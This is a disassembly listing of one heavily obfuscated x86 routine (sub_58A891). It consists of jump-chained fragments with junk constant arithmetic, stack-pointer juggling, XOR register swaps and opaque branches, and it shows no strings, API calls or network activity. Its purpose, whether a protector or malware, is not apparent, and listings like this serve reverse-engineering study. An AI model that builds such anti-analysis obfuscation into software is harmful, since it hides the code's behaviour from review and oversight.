loc_5B1E16:				; CODE XREF: sub_58A891:loc_5A14D8j
		shr	eax, 8
		jp	loc_5A6A46
		xor	eax, 46191A17h
		jmp	loc_5B1453
; ---------------------------------------------------------------------------


loc_5B1E29:				; CODE XREF: sub_58A891+266EAj
					; sub_58A891+267F8j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B1E2E:				; CODE XREF: sub_58A891+15AD4j
		jns	loc_5ADB17
		add	ecx, 4DC761A3h
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp+0B8h+var_BA+2]
		xor	[esp+0B8h+var_BA+2], ebx
		xor	ebx, [esp+0B8h+var_BA+2]
		pop	esp
		pop	[esp+0B4h+var_B6+2]
		jmp	loc_59FC51
; ---------------------------------------------------------------------------


loc_5B1E4F:				; CODE XREF: sub_58A891+2054Ej
		add	ebp, 5530FB7Dh
		mov	eax, ebp
		pop	ebp
		sub	eax, 3F0C73D0h
		not	eax
		add	eax, 7F737DBFh
		sub	eax, 6904D569h
		add	edx, eax
		jmp	loc_5AC7E9
; ---------------------------------------------------------------------------


loc_5B1E70:				; CODE XREF: sub_58A891+1DDEEj
		mov	eax, 3FC94650h
		or	eax, 1F6E3A2Ch
		jmp	loc_5B2C70
; ---------------------------------------------------------------------------


loc_5B1E7F:				; CODE XREF: sub_58A891+1EA7Fj
		mov	eax, esp
		add	eax, 4
		jmp	loc_5AA163
; ---------------------------------------------------------------------------


loc_5B1E8B:				; CODE XREF: sub_58A891+127E8j
		push	6CFDh
		mov	[esp+9Eh+var_9E], edi
		jmp	loc_5B0456
; ---------------------------------------------------------------------------


loc_5B1E98:				; CODE XREF: sub_58A891+225D5j
		add	bl, 54h
		sub	esp, 4
		jmp	loc_5A8357
; ---------------------------------------------------------------------------


loc_5B1EA6:				; CODE XREF: sub_58A891+161CEj
		push	esi
		jmp	loc_59D06A
; ---------------------------------------------------------------------------


loc_5B1EAC:				; CODE XREF: sub_58A891+13952j
		add	ebx, ecx
		pop	ecx
		sub	ebx, esi
		sub	ebx, 294F0687h
		pop	esi
		xor	edx, eax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B1EBF:				; CODE XREF: sub_58A891+15C04j
		mov	[esp+0DEh+var_DE], edi
		jmp	loc_59FA3F
; ---------------------------------------------------------------------------


loc_5B1EC7:				; CODE XREF: sub_58A891+1657Aj
		sub	ebp, 0B2176D2h
		push	244h
		mov	[esp+58h+var_58], ecx
		mov	ecx, 6FE47196h
		or	ecx, 4F7073A4h
		jmp	loc_5A5D12
; ---------------------------------------------------------------------------


loc_5B1EE5:				; CODE XREF: sub_58A891+20138j
					; sub_58A891:loc_5B0241j
		xor	eax, ecx
		sub	esp, 4
		mov	[esp+36h+var_38+2], eax
		xchg	eax, [esp+36h+var_38+2]
		not	eax
		xchg	eax, [esp+36h+var_38+2]
		push	[esp+36h+var_38+2]
		push	[esp+3Ah+var_3C+2]
		mov	eax, [esp+3Eh+var_40+2]
		jmp	loc_5A7A42
; ---------------------------------------------------------------------------


loc_5B1F06:				; CODE XREF: sub_58A891+1F725j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0C0h+var_C2+2]
		pop	esp
		inc	edx
		shr	edx, 5
		push	4C9Ch
		mov	[esp+0C0h+var_C2+2], edi
		mov	edi, 38B7226h
		jmp	loc_59D649
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0C0h+var_C2+2]
		push	edx
		push	esp
		push	[esp+0C8h+var_CA+2]
		mov	edx, [esp+0CCh+var_CE+2]
		add	esp, 4
		jmp	loc_5B028E
; ---------------------------------------------------------------------------


loc_5B1F3C:				; CODE XREF: sub_58A891+18E72j
		xor	al, bl
		pop	ebx
		jmp	loc_5A7E78
; ---------------------------------------------------------------------------


loc_5B1F44:				; CODE XREF: sub_58A891+1286Dj
					; sub_58A891+26672j
		push	[esp+9Ah+var_98+2]
		jmp	loc_5A42FC
; ---------------------------------------------------------------------------


loc_5B1F4D:				; CODE XREF: sub_58A891+1A8D2j
		mov	esi, 6030CBAh
		and	esi, 7DB4174Fh
		xor	esi, 74C46778h
		sub	esi, 25790158h
		mov	ecx, esi
		pop	esi
		jmp	loc_5AFD9B
; ---------------------------------------------------------------------------


loc_5B1F6C:				; CODE XREF: sub_58A891+1BE28j
		push	edx
		mov	edx, 0ACBB0CF7h
		jmp	loc_5A7E86
; ---------------------------------------------------------------------------


loc_5B1F77:				; CODE XREF: sub_58A891+1C25Aj
		add	esp, 4
		push	3BD3h
		mov	[esp+92h+var_94+2], ebx
		push	edx
		mov	edx, 8316A22h
		jmp	loc_5ADA88
; ---------------------------------------------------------------------------


loc_5B1F8D:				; CODE XREF: sub_58A891+24C92j
		push	ecx
		mov	ecx, 0
		sub	ecx, edi
		jmp	loc_5A6269
; ---------------------------------------------------------------------------


loc_5B1F9A:				; CODE XREF: sub_58A891+1228Bj
					; sub_58A891+2290Dj
		mov	esp, [esp+0BAh+var_BA]
		push	esp
		pop	[esp+0BEh+var_BE]
		add	[esp+0BAh+var_BA], 4
		mov	edi, [esp+0BAh+var_BA]
		add	esp, 4
		jmp	loc_5A7A62
; ---------------------------------------------------------------------------


loc_5B1FB0:				; CODE XREF: sub_58A891+11CF4j
		mov	ebp, esp
		jmp	loc_5A3137
; ---------------------------------------------------------------------------


loc_5B1FB7:				; CODE XREF: sub_58A891+27AF8j
		pop	eax
		neg	eax
		jno	loc_5A1393
		push	ebp
		jmp	loc_5A2581
; ---------------------------------------------------------------------------
		xchg	ebp, [esp+4Ah+var_4C+2]
		pop	esp
		push	edi


loc_5B1FCB:				; CODE XREF: sub_58A891+28282j
		add	bh, 6Ch
		jmp	loc_5ADB17
; ---------------------------------------------------------------------------


loc_5B1FD3:				; CODE XREF: sub_58A891+2125Cj
		add	ecx, 2
		xchg	ecx, [esp+8Ah+var_8C+2]
		mov	esp, [esp+8Ah+var_8C+2]
		mul	cl
		movzx	cx, ah
		jmp	loc_5A2657
; ---------------------------------------------------------------------------


loc_5B1FE7:				; CODE XREF: sub_58A891+1E1B9j
		push	[esp+9Ch+var_9E+2]
		mov	eax, [esp+0A0h+var_A2+2]
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, 7BEA42ADh
		add	ebx, eax
		sub	ebx, 7BEA42ADh
		mov	eax, [esp+0A8h+var_AA+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		jmp	loc_5A28ED
; ---------------------------------------------------------------------------


loc_5B201B:				; CODE XREF: sub_58A891+1FCDDj
		push	esi
		mov	esi, esp
		jmp	loc_5A056F
; ---------------------------------------------------------------------------


loc_5B2023:				; CODE XREF: sub_58A891+23105j
		mov	esi, 2E127F36h
		shl	esi, 6
		jz	loc_5ACB0D
		xor	esi, 49736A3Eh
		jl	loc_5A1BBD
		sub	esi, 32173B3h
		jb	loc_5ACDF7
		push	edi
		push	ebp
		pop	esi


loc_5B204C:				; CODE XREF: sub_58A891+13B97j
		push	edx
		mov	edx, esp
		jmp	loc_5A6057
; ---------------------------------------------------------------------------


loc_5B2054:				; CODE XREF: sub_58A891+1D014j
		mov	[esp+0A0h+var_A2+2], ebx
		mov	ebx, esp
		push	740Bh
		mov	[esp+0A4h+var_A6+2], esi
		mov	esi, 4
		add	ebx, 598725Eh
		jmp	loc_5AE997
; ---------------------------------------------------------------------------


loc_5B2071:				; CODE XREF: sub_58A891:loc_5ACA62j
		shl	esi, 2
		sub	esi, 32BE38ECh
		mov	ecx, esi
		jmp	loc_5A2114
; ---------------------------------------------------------------------------


loc_5B2081:				; CODE XREF: sub_58A891+1561Fj
		xor	ebx, esi
		pop	esi
		sub	ebx, 31290996h
		jmp	loc_59FBDE
; ---------------------------------------------------------------------------


loc_5B208F:				; CODE XREF: sub_58A891+20F3Fj
		add	esp, 4
		mov	edi, edx
		push	[esp+6Ah+var_6C+2]
		jmp	loc_5A8782
; ---------------------------------------------------------------------------


loc_5B209F:				; CODE XREF: sub_58A891+1C2CEj
		and	bl, 57h
		jmp	loc_5A7C2B
; ---------------------------------------------------------------------------


loc_5B20A7:				; CODE XREF: sub_58A891+16B21j
		mov	eax, [ebx]
		pop	ebx
		pop	edx
		push	0FDAh
		mov	[esp+0AAh+var_AA], edi
		push	4D9Ch
		mov	[esp+0AEh+var_AE], edx
		mov	edx, 185175A6h
		jmp	loc_5A5649
; ---------------------------------------------------------------------------


loc_5B20C5:				; CODE XREF: sub_58A891+20116j
		push	[esp+0A2h+var_A2]
		jmp	loc_5A6A1A
; ---------------------------------------------------------------------------


loc_5B20CD:				; CODE XREF: sub_58A891+172FDj
		push	[esp+36h+var_38+2]
		jmp	loc_59F8E5
; ---------------------------------------------------------------------------


loc_5B20D5:				; CODE XREF: sub_58A891+1C22Ej
					; sub_58A891:loc_5AA897j
		xor	ebp, edx
		mov	edx, [esp+0A0h+var_A2+2]
		add	esp, 4
		jmp	loc_5A276D
; ---------------------------------------------------------------------------


loc_5B20E2:				; CODE XREF: sub_58A891+1E53Bj
					; sub_58A891+286E3j
		sub	eax, ebx
		add	eax, 492F5908h
		jmp	loc_5A6B9B
; ---------------------------------------------------------------------------


loc_5B20EE:				; CODE XREF: sub_58A891+121FFj
		and	esi, 15596311h
		sub	esi, 0F273F4Dh
		shl	esi, 3
		jmp	loc_5A66F8
; ---------------------------------------------------------------------------


loc_5B2102:				; CODE XREF: sub_58A891+1DDDAj
		pop	[esp+4Ah+var_4C+2]
		pop	esp
		mov	[esp+42h+var_44+2], edx
		mov	edx, 77AC409Fh
		or	eax, edx
		jmp	loc_5AC106
; ---------------------------------------------------------------------------


loc_5B2115:				; CODE XREF: sub_58A891+18D33j
		pop	[esp+4Eh+var_50+2]
		pop	esp
		push	edx
		mov	edx, 2C86EF6h
		or	edx, 40A338E3h
		add	edx, 73E54790h
		jl	loc_5A5631
		xor	edx, 0E202A8E2h
		inc	edx
		sub	edx, 7D5A389Ah
		xor	edx, 72E65BC2h
		push	eax
		mov	eax, 650B4AF3h
		add	edx, eax
		pop	eax
		dec	edx
		jmp	loc_5ABDB6
; ---------------------------------------------------------------------------


loc_5B2153:				; CODE XREF: sub_58A891+1D951j
		push	eax
		push	[esp+8Ah+var_88+2]
		pop	eax
		pop	[esp+8Ah+var_8C+2]
		pop	esp
		add	esp, 4
		push	[esp+7Eh+var_80+2]
		push	[esp+82h+var_84+2]
		mov	eax, [esp+86h+var_88+2]
		jmp	loc_5A4F1B
; ---------------------------------------------------------------------------


loc_5B2171:				; CODE XREF: sub_58A891+26D25j
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+1Eh+var_20+2]
		pop	esp
		xor	edi, [esp+1Ah+var_1C+2]
		xor	[esp+1Ah+var_1C+2], edi
		xor	edi, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		mov	eax, [esp+1Ah+var_1C+2]
		push	eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 7CFC0273h
		neg	ecx
		push	edi
		mov	edi, 43330061h
		push	eax
		mov	eax, 0F97CF958h
		sub	edi, eax
		pop	eax
		and	ecx, edi
		jmp	loc_5AD10F
; ---------------------------------------------------------------------------


loc_5B21B2:				; CODE XREF: sub_58A891+15E26j
		sub	bh, cl
		pop	ecx
		mov	ch, bh
		pop	ebx
		and	ch, 1
		and	ch, 0B2h
		push	eax
		mov	al, 80h
		jmp	loc_5AE9C8
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+9Eh+var_9E]
		push	1B2Eh
		mov	[esp+0A2h+var_A2], ebp
		sub	esp, 4
		mov	[esp+0A6h+var_A6], esp
		add	[esp+0A6h+var_A6], 4
		push	[esp+0A6h+var_A6]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		push	edi
		push	ecx
		push	edi
		push	ecx
		jmp	loc_5A987A
; ---------------------------------------------------------------------------


loc_5B21F5:				; CODE XREF: sub_58A891+21D11j
		pop	esp
		jmp	loc_5AAAB4
; ---------------------------------------------------------------------------


loc_5B21FB:				; CODE XREF: sub_58A891+18C1Ej
		push	edi
		jmp	loc_5AD47F
; ---------------------------------------------------------------------------


loc_5B2201:				; CODE XREF: sub_58A891+24BB4j
		mov	ebx, 31042F17h
		push	ebx
		dec	[esp+0AAh+var_AA]
		jmp	loc_5A9053
; ---------------------------------------------------------------------------


loc_5B220F:				; CODE XREF: sub_58A891+22D5Fj
		pop	eax
		push	5C31h
		mov	[esp+7Eh+var_80+2], edx
		push	[esp+7Eh+var_7C+2]
		push	[esp+82h+var_84+2]
		pop	edx
		add	esp, 4
		pop	[esp+7Eh+var_80+2]
		mov	esp, [esp+7Ah+var_7C+2]
		and	eax, edx
		push	[esp+7Ah+var_7C+2]
		pop	edx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_5A22AF
; ---------------------------------------------------------------------------


loc_5B2241:				; CODE XREF: sub_58A891+19123j
		xchg	ebp, [esp+0B2h+var_B2]
		pop	esp
		jmp	loc_5A4437
; ---------------------------------------------------------------------------


loc_5B224A:				; CODE XREF: sub_58A891+25BCAj
		pop	edi
		jmp	loc_5B043D
; ---------------------------------------------------------------------------


loc_5B2250:				; CODE XREF: sub_58A891+1EDC0j
		sub	ecx, 187A1ED2h
		add	ecx, eax
		add	ecx, 187A1ED2h
		sub	esp, 4
		jmp	loc_5A3662
; ---------------------------------------------------------------------------


loc_5B2266:				; CODE XREF: sub_58A891+1B864j
		push	esi
		mov	esi, 7B2B534Eh
		sub	ebx, 338A18CEh
		jmp	loc_59F698
; ---------------------------------------------------------------------------


loc_5B2277:				; CODE XREF: sub_58A891+1899Ej
		sub	esp, 4
		jmp	loc_5AFA4C
; ---------------------------------------------------------------------------


loc_5B2282:				; CODE XREF: sub_58A891+18DD5j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp+0BCh+var_BE+2]
		xor	[esp+0BCh+var_BE+2], edx
		xor	edx, [esp+0BCh+var_BE+2]
		pop	esp
		jmp	loc_5A650B
; ---------------------------------------------------------------------------


loc_5B229C:				; CODE XREF: sub_58A891+1E49Fj
		pop	esi
		add	edi, 4
		xor	edi, [esp+0EAh+var_EC+2]
		xor	[esp+0EAh+var_EC+2], edi
		xor	edi, [esp+0EAh+var_EC+2]
		jmp	loc_5A9B45
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0EAh+var_EC+2]
		push	352Bh
		mov	[esp+0EEh+var_F0+2], eax
		push	esp
		mov	eax, [esp+0F2h+var_F4+2]
		jmp	loc_59C027
; ---------------------------------------------------------------------------


loc_5B22C6:				; CODE XREF: sub_58A891+15AA5j
		sub	esp, 4
		mov	[esp+0BCh+var_BE+2], ebx
		push	ecx
		mov	ecx, 69297358h
		shl	ecx, 2
		and	ecx, 556606CEh
		jmp	loc_5A91DA
; ---------------------------------------------------------------------------


loc_5B22E3:				; CODE XREF: sub_58A891+18FFFj
		xchg	esi, [esp+0D6h+var_D6]
		pop	esp
		add	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+0D2h+var_D2], edi
		mov	edi, 2
		add	esi, 31C12536h
		push	eax
		mov	eax, 62006A9Ah
		add	esi, eax
		pop	eax
		sub	esi, edi
		sub	esi, 62006A9Ah
		push	ebx
		mov	ebx, 31C12536h
		sub	esi, ebx
		jmp	loc_5A21E0
; ---------------------------------------------------------------------------


loc_5B2319:				; CODE XREF: sub_58A891+1C1B0j
		neg	edx
		sub	edx, 7641FF56h
		jmp	loc_5A472D
; ---------------------------------------------------------------------------


loc_5B2326:				; CODE XREF: sub_58A891+17D9Cj
		inc	esi
		jl	loc_5B00B1
		add	esi, 44797A3Ch
		neg	esi
		xor	al, 3Ch
		push	ebp


loc_5B2338:				; CODE XREF: sub_58A891+24B6Aj
		jmp	loc_5A2E42
; ---------------------------------------------------------------------------


loc_5B233D:				; CODE XREF: sub_58A891+17528j
		pop	esp
		mov	[esp+0D2h+var_D2], ebx
		mov	ebx, 1
		sub	esi, ebx
		push	[esp+0D2h+var_D2]
		pop	ebx
		add	esp, 4
		jmp	loc_5AC719
; ---------------------------------------------------------------------------


loc_5B2354:				; CODE XREF: sub_58A891+2204Bj
		mov	eax, [esp+0B6h+var_B6]
		add	esp, 4
		jmp	loc_5AD990
; ---------------------------------------------------------------------------


loc_5B235F:				; CODE XREF: sub_58A891+144DEj
		inc	bh
		jmp	loc_5AC758
; ---------------------------------------------------------------------------
		push	3D69h
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		mov	ebx, 44EB163Fh
		shl	ebx, 8
		jmp	loc_5A6AC4
; ---------------------------------------------------------------------------


loc_5B237E:				; CODE XREF: sub_58A891+1C156j
		add	ebx, ecx
		pop	ecx
		push	esi
		push	ebx
		push	eax
		push	62345290h
		jmp	loc_5B1FB7
; ---------------------------------------------------------------------------


loc_5B238E:				; CODE XREF: sub_58A891+1EAE1j
		mov	[esp+0B6h+var_B6], ebp
		mov	ebp, 4B375ED2h
		jmp	loc_5A6AA6
; ---------------------------------------------------------------------------


loc_5B239B:				; CODE XREF: sub_58A891+2556Bj
		pop	ebx
		jmp	loc_5B24C4
; ---------------------------------------------------------------------------


loc_5B23A1:				; CODE XREF: sub_58A891+25B55j
		push	eax
		mov	eax, esp
		jmp	loc_5AB8F7
; ---------------------------------------------------------------------------
		push	di
		jmp	loc_5A46AD
; ---------------------------------------------------------------------------


loc_5B23B0:				; CODE XREF: sub_58A891+1BA33j
		sub	ecx, 0A824880Eh
		mov	ebx, ecx
		pop	ecx
		jmp	loc_59DB47
; ---------------------------------------------------------------------------


loc_5B23BE:				; CODE XREF: sub_58A891+12708j
		push	41EFh
		mov	[esp+9Eh+var_9E], edi
		jmp	loc_5A2605
; ---------------------------------------------------------------------------


loc_5B23CB:				; CODE XREF: sub_58A891+20315j
		mov	al, 47h
		add	bl, al
		pop	eax
		sub	bl, 0A0h
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B23DF:				; CODE XREF: sub_58A891+1EC17j
		not	edx
		jmp	loc_5A3329
; ---------------------------------------------------------------------------


loc_5B23E6:				; CODE XREF: sub_58A891+26DEAj
		xor	edx, [esp+7Ah+var_7C+2]
		mov	esp, [esp+7Ah+var_7C+2]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B23F1:				; CODE XREF: sub_58A891+1EFE4j
		pop	esp
		mov	[esp+96h+var_98+2], ecx
		jmp	loc_5A6C2F
; ---------------------------------------------------------------------------


loc_5B23FA:				; CODE XREF: sub_58A891+131DCj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B23FF:				; CODE XREF: sub_58A891+175CAj
		mov	[esp+96h+var_98+2], esp
		jmp	loc_5A8431
; ---------------------------------------------------------------------------


loc_5B2407:				; CODE XREF: sub_58A891+166B5j
		mov	edx, 1BDD1236h
		and	edx, 4B3B5836h
		dec	edx
		sub	edx, 0B191031h
		push	eax
		jmp	loc_5A7CAB
; ---------------------------------------------------------------------------


loc_5B241F:				; CODE XREF: sub_58A891+1514Ej
		add	ebp, 5DE901EEh
		ja	loc_5B1B7E
		xor	ebp, 58933419h
		jb	loc_5AC03E
		jmp	loc_5A7971
; ---------------------------------------------------------------------------


loc_5B243C:				; CODE XREF: sub_58A891+158C5j
		xchg	edi, [esp+92h+var_94+2]
		jmp	loc_59CF64
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+92h+var_94+2]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 4
		sub	edi, ebp
		pop	ebp
		xchg	edi, [esp+96h+var_98+2]
		jmp	loc_59E2B6
; ---------------------------------------------------------------------------


loc_5B2462:				; CODE XREF: sub_58A891+12A80j
		mov	ebp, [esp+1Ah+var_1C+2]
		add	esp, 4
		pop	esi
		push	esi
		mov	esi, edi
		mov	ecx, esi
		pop	esi
		pop	edi
		sub	ebp, 7F41762h
		sub	ebp, ecx
		add	ebp, 7F41762h
		mov	ecx, [esp+0Eh+var_10+2]
		jmp	loc_59E6DD
; ---------------------------------------------------------------------------


loc_5B2489:				; CODE XREF: sub_58A891+18235j
		mov	[esp+0B2h+var_B2], edi
		mov	edi, 3762BC5Ah
		add	ecx, 70EC187Fh
		sub	ecx, edi
		jmp	loc_5A27E8
; ---------------------------------------------------------------------------


loc_5B249E:				; CODE XREF: sub_58A891+13A20j
		add	esp, 4
		jmp	loc_59FFA0
; ---------------------------------------------------------------------------


loc_5B24A6:				; CODE XREF: sub_58A891+1E565j
		push	[esp+3Eh+var_3C+2]
		push	[esp+42h+var_44+2]
		pop	ecx
		push	ecx
		jmp	loc_5AA772
; ---------------------------------------------------------------------------


loc_5B24B4:				; CODE XREF: sub_58A891+14D45j
		pop	ecx
		jmp	loc_5AB1DE
; ---------------------------------------------------------------------------


loc_5B24BA:				; CODE XREF: sub_58A891+25C5Ej
					; sub_58A891+272F3j
		xor	ebp, ecx
		mov	ecx, [esp+0DEh+var_DE]
		jmp	loc_5A127B
; ---------------------------------------------------------------------------


loc_5B24C4:				; CODE XREF: sub_58A891+27B0Bj
		mov	edx, [esp+2Eh+var_30+2]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A0C82
; ---------------------------------------------------------------------------


loc_5B24CF:				; CODE XREF: sub_58A891+255D1j
		add	edi, ebx
		pop	ebx
		jmp	loc_5ADD61
; ---------------------------------------------------------------------------


loc_5B24D7:				; CODE XREF: sub_58A891+14465j
					; sub_58A891+1653Ej ...
		xor	edx, ecx
		xor	ecx, edx
		not	edx
		xchg	edx, ecx
		xor	[esp+9Eh+var_9E], ecx
		xor	ecx, [esp+9Eh+var_9E]
		xor	[esp+9Eh+var_9E], ecx
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B24ED:				; CODE XREF: sub_58A891+1A1BCj
		push	edx
		push	253762B1h
		jmp	loc_5A524F
; ---------------------------------------------------------------------------


loc_5B24F8:				; CODE XREF: sub_58A891+13265j
		add	esi, 4
		add	esi, 4
		push	esi
		push	[esp+1Eh+var_1C+2]
		pop	esi
		pop	[esp+1Eh+var_20+2]
		pop	esp
		push	[esp+16h+var_18+2]
		push	[esp+1Ah+var_1C+2]
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_5A3C32
; ---------------------------------------------------------------------------
		push	1DECh
		mov	[esp+22h+var_24+2], eax
		push	ecx
		jmp	loc_5B0579
; ---------------------------------------------------------------------------


loc_5B252B:				; CODE XREF: sub_58A891+2214Fj
		std
		push	2FB8h
		mov	[esp+3Eh+var_40+2], esi
		sub	esp, 4
		mov	[esp+42h+var_44+2], ebp
		sub	esp, 4
		mov	[esp+46h+var_48+2], edi
		push	edx
		mov	edx, 1184955h
		mov	edi, 5A1C7A85h
		xor	edi, edx
		jmp	loc_5A12D2
; ---------------------------------------------------------------------------


loc_5B2558:				; CODE XREF: sub_58A891+2546Cj
		push	esp
		pop	ebx
		push	esi
		jmp	loc_59EEFA
; ---------------------------------------------------------------------------


loc_5B2560:				; CODE XREF: sub_58A891+14B9Ej
		pop	ebx
		push	3854h
		mov	[esp+82h+var_84+2], ecx
		mov	ecx, 43A67522h
		push	0
		sub	[esp+86h+var_88+2], ecx
		pop	ecx
		jmp	loc_5AD4FC
; ---------------------------------------------------------------------------


loc_5B257C:				; CODE XREF: sub_58A891+18372j
		pop	esp
		jmp	loc_5AF13F
; ---------------------------------------------------------------------------


loc_5B2582:				; CODE XREF: sub_58A891+12E77j
		add	eax, 4
		jmp	loc_59C2BD
; ---------------------------------------------------------------------------


loc_5B258C:				; CODE XREF: sub_58A891+22AD4j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+2Eh+var_30+2]
		pop	esp
		mov	[esp+2Ah+var_2C+2], esi
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], ecx
		mov	ecx, 0EF71C8h
		jmp	loc_5A228B
; ---------------------------------------------------------------------------


loc_5B25AF:				; CODE XREF: sub_58A891+1DB80j
		mov	ebx, 159343FFh
		and	ebx, 704B7CFEh
		push	996h
		mov	[esp+5Ah+var_5C+2], edi
		mov	edi, 64201434h
		add	edi, 3D317568h
		jnp	loc_5B13BE
		shl	edi, 1
		jnz	loc_5A85B5
		jmp	loc_5A0E10
; ---------------------------------------------------------------------------
		xor	ebx, 278F12B3h
		and	ecx, ebx
		mov	bl, cl


loc_5B25EA:				; CODE XREF: sub_58A891+26D71j
		add	edi, 44AB5829h
		jmp	loc_5A94F4
; ---------------------------------------------------------------------------


loc_5B25F5:				; CODE XREF: sub_58A891+159ABj
		mov	edi, [esp+32h+var_34+2]
		add	esp, 4
		add	edx, 4
		xor	edx, [esp+2Eh+var_30+2]
		xor	[esp+2Eh+var_30+2], edx
		xor	edx, [esp+2Eh+var_30+2]
		mov	esp, [esp+2Eh+var_30+2]
		shr	ecx, 0
		or	eax, eax
		jz	loc_59C89D
		push	3C90h
		jmp	loc_5A3A75
; ---------------------------------------------------------------------------


loc_5B2622:				; CODE XREF: sub_58A891+1E7AFj
		push	ebx
		mov	ebx, 460D7298h
		jmp	loc_5A3362
; ---------------------------------------------------------------------------


loc_5B262D:				; CODE XREF: sub_58A891+23A30j
		jns	loc_5AE9D7
		jmp	loc_5A9636
; ---------------------------------------------------------------------------
		pop	ecx
		add	al, 53h
		sub	al, dh


loc_5B263D:				; CODE XREF: sub_58A891+24ABFj
		mov	ebp, 3A6E2B71h
		sub	ebp, 0D851C1Ch
		sub	ebx, 195A5623h
		sub	ebx, ebp
		add	ebx, 195A5623h
		pop	ebp
		add	ebx, edx
		jmp	loc_59E823
; ---------------------------------------------------------------------------


loc_5B265E:				; CODE XREF: sub_58A891+194D6j
		or	dh, 26h
		not	dh
		push	eax
		push	0D9Ch
		mov	[esp+70h+var_70], ecx
		mov	cl, 8Dh
		mov	ah, cl
		jmp	loc_5AE2C6
; ---------------------------------------------------------------------------


loc_5B2675:				; CODE XREF: sub_58A891+1E934j
		add	esp, 4
		push	2957h
		mov	[esp+0AEh+var_AE], ebx
		push	1F3070A4h
		pop	ebx
		sub	ebx, 76D64B5Bh
		xchg	esi, ebx
		push	esi
		push	ebp
		jmp	loc_59CC16
; ---------------------------------------------------------------------------


loc_5B2698:				; CODE XREF: sub_58A891+20BA6j
		sub	esi, 4A215FD3h
		add	esi, eax
		add	esi, 4A215FD3h
		jmp	loc_5A8226
; ---------------------------------------------------------------------------


loc_5B26AB:				; CODE XREF: sub_58A891+212E2j
		add	edi, 4
		jmp	loc_5B2865
; ---------------------------------------------------------------------------


loc_5B26B6:				; CODE XREF: sub_58A891+2353Aj
		push	[esp+36h+var_38+2]
		pop	ebp
		sub	esp, 4
		jmp	loc_5A80EA
; ---------------------------------------------------------------------------


loc_5B26C2:				; CODE XREF: sub_58A891+19A4Cj
		sub	ebp, 174D21A2h
		jmp	loc_5AEEF2
; ---------------------------------------------------------------------------


loc_5B26CD:				; CODE XREF: sub_58A891:loc_5AF15Fj
		and	eax, 36F62679h
		xor	eax, 216B68E5h
		shl	eax, 1
		neg	eax
		sub	eax, 96A66A51h
		add	[ecx], eax
		mov	eax, [esp+0AEh+var_AE]
		add	esp, 4
		xor	[ecx], edx
		mov	edx, [esp+0AAh+var_AA]
		add	esp, 4
		jmp	loc_5AC385
; ---------------------------------------------------------------------------


loc_5B26F5:				; CODE XREF: sub_58A891+25669j
		xor	edx, 24B52014h
		push	eax
		mov	eax, 183356A3h
		sub	eax, 1
		add	eax, 4DD83833h
		add	eax, 44825495h
		or	eax, 4C962C7Fh
		jmp	loc_5A3C63
; ---------------------------------------------------------------------------


loc_5B2718:				; CODE XREF: sub_58A891+1C77Cj
		add	ebx, edx
		pop	edx
		jmp	loc_5B2A24
; ---------------------------------------------------------------------------


loc_5B2720:				; CODE XREF: sub_58A891+18F6Ej
		xor	edi, 0DBF8B258h
		push	edi
		jmp	loc_5AAD21
; ---------------------------------------------------------------------------


loc_5B272C:				; CODE XREF: sub_58A891+1AE14j
		mov	ebp, [esp+3Eh+var_40+2]
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B2737:				; CODE XREF: sub_58A891+2337Aj
		pop	esp
		mov	[esp+0AEh+var_AE], esi
		mov	esi, 5967583Bh
		jmp	loc_5A455C
; ---------------------------------------------------------------------------
		push	37F5h
		mov	[esp+0B2h+var_B2], edx
		mov	edx, 6A857E33h
		and	edx, 59ED2AE9h
		xor	edx, 6684902h
		xor	edx, 4EED631Fh
		add	edx, edi
		jmp	loc_5A8279
; ---------------------------------------------------------------------------


loc_5B276B:				; CODE XREF: sub_58A891+16E54j
		add	eax, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_5A3EDF
; ---------------------------------------------------------------------------


loc_5B277B:				; CODE XREF: sub_58A891+254BAj
		shl	ebx, 3
		not	ebx
		push	eax
		mov	eax, 6B272231h
		jmp	loc_5A9960
; ---------------------------------------------------------------------------


loc_5B278B:				; CODE XREF: sub_58A891+271F7j
		sub	[esp+36h+var_34+2], esi
		mov	esi, [esp+36h+var_38+2]
		add	esp, 4
		push	1A4Ch
		jmp	loc_59C501
; ---------------------------------------------------------------------------


loc_5B279F:				; CODE XREF: sub_58A891+25A67j
		xchg	esi, [esp+22h+var_24+2]
		mov	esp, [esp+22h+var_24+2]
		mov	[esp+22h+var_24+2], ecx
		mov	ecx, 6F0125D3h
		sub	eax, ecx
		jmp	loc_5ACF30
; ---------------------------------------------------------------------------


loc_5B27B4:				; CODE XREF: sub_58A891+21B58j
		push	474h
		jmp	loc_5A28A9
; ---------------------------------------------------------------------------


loc_5B27BE:				; CODE XREF: sub_58A891+17037j
		sub	edx, edi
		jmp	loc_5AAD44
; ---------------------------------------------------------------------------


